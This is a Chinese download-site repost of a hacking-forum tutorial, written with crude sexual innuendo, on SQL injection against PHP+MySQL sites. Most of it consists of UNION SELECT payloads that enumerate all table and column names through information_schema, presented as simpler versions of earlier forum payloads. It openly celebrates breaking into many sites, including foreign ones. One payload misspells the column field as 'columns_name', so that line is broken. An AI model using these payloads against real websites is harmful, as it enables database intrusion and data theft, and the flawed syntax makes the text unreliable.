软件下载 | 资讯教程 | 最近更新 | 下载排行 | 一键转帖 | 发布投稿
您的位置:最火下载站 > 网络技术 > 安全防护 > php+mysql非暴力查表的注入语句写法总结

php+mysql非暴力查表的注入语句写法总结

  很久很久很久以前,当我对php+mysql的注射什么都不懂的时候,磊哥教了我怎么去射这种站,并且教会了我很多种不同的射的方法,这让我学会了使用不同的体位去射,结果我发现射这种站的时候灵活性真的很大,想在哪里射就在哪里射,想怎么射就怎么射,想什么体位就什么体位,学会了很多东西,很感激磊哥。

  磊哥给我发过一些截图,我看到磊哥和狐狸大哥一起射过很多站,都是国外的站啊,他们也射的进去,我没搞过几个国外站,主要是一看到那些别扭的字母我自己就别扭,就思路就断掉断掉了… …

  所以,到现在为止,我还是不明白为什么当磊哥总是射的很远(人在国内就可以射到国外去),并且射的量很大(发给我了好多截图啊)… …

  我觉得应该是磊哥身体好,所以才这样… …

  在磊哥给我演示过的各种体位中,其中有一种是非暴力慢慢射的方法,这种方法很温柔,不会弄痛人家,所以使用起来是你好我好大家好,这种方法在坛子里发的有,链接为:

  http://bbs.blackbap.org/viewthread.php?tid=1215&extra=page%3D1

  http://bbs.blackbap.org/viewthread.php?tid=1220&extra=page%3D1

  我今天要说的也是这种方法,不过代码要简洁一点,因为简洁,所以射起来的时候会感觉更爽一点,并且射出结果所需的时间也比较短一些。

  不过我觉得磊哥和娜娜大姐应该早知道这种代码,只是在他们的文章中为了使新手更容易理解,所以才写的复杂了一点,既然他们没写,那我就越俎代庖一把,写出来吧。

  先看上面的第一个链接,磊哥的查表的代码是这样写的:

  union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=数据库名字的hex order by table_schema limit 6,7)t limit 1—

  这句代码可以查出某个库中都有哪些表,但是这个代码的唯一不足之处就是,每次只能查出一个表名,要想获得这个库中的所有表名,就必须要不断的更换limit后边的数值,比较麻烦,并且磊哥的这句代码使用了两层嵌套,这对于那些对SQL语言不怎么熟悉的朋友来说可能就不是那么好理解了,那么,其实这句代码可以这么写:

  union+select+1,2,table_name+from+information_schema.tables+where+table_schema=数据库名字的hex

  这样就一次性列出了该库中的所有表名,可以看到,这里只有一层查询,并且没有使用limit关键字,这样就清爽多了,要写的代码也少了很多,并且更容易理解一点,你看,是不是很爽?

  好了,到现在为止,磊哥的那篇文章说完了,下面说娜娜姐的那篇文章,也就是上边说的第二个链接。

  娜娜姐是这样写的:

  union select 1,2,column_name from (select * from information_schema.columns where table_name=爆出来的表名的hex值 and table_schema=数据库名的hex值 order by 1 limit 2,3)t limit 1—

  这里同样使用了嵌套查询,并且同样是每次只能查出一个列名,还是很麻烦,我要说的是,这段代码可以这么写:

  union+select+1,2,columns_name+from+information_schema.columns+where+table_name=爆出来的表名的hex值

  这样就一次性列出了指定表中的所有列名。

  可以看到,我上边说的两句代码中没有使用limit来限定查询的范围,如果你愿意,你可以在语句的最后加上这个limit,比如:

  union+select+1,2,table_name+from+information_schema.tables+where+table_schema=数据库名字的hex limit 0,1

  union+select+1,2,columns_name+from+information_schema.columns+where+table_name=爆出来的表名的hex值 limit 0,1

  如果你不知道limit有什么用,那么建议你自己谷歌一下,这里不细说,只是简单的说一下语句的变换问题,OK,完毕。

    相关阅读
    网友评论
    栏目导航
    推荐软件